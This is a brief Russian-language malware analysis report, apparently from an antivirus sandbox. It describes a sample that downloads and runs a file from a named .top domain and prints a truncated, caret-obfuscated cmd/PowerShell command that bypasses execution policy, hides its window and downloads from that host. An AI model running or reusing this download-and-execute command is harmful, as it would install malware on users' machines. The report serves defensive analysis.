Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^oW^E^RShElL^.^e^x^E^ -ExecuT^i^O^npOlIcy BYP^aS^s -^NO^pR^Of^ILe -WIndO^Ws^ty^L^E hI^Dd^EN ^(nEW-ob^JEcT ^SYsTEm^.ne^t.^w^EB^CliEN^T^).d^OW^n^LOa^Df^I^l^E('http://newyeargoka.to...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^oW^E^RShElL^.^e^x^E^ -ExecuT^i^O^npOlIcy BYP^aS^s -^NO^pR^Of^ILe -WIndO^Ws^ty^L^E hI^Dd^EN ^(nEW-ob^JEcT ^SYsTEm^.ne^t.^w^EB^CliEN^T^).d^OW^n^LOa^Df^I^l^E('http://newyeargoka.to... (со скрытым окном)
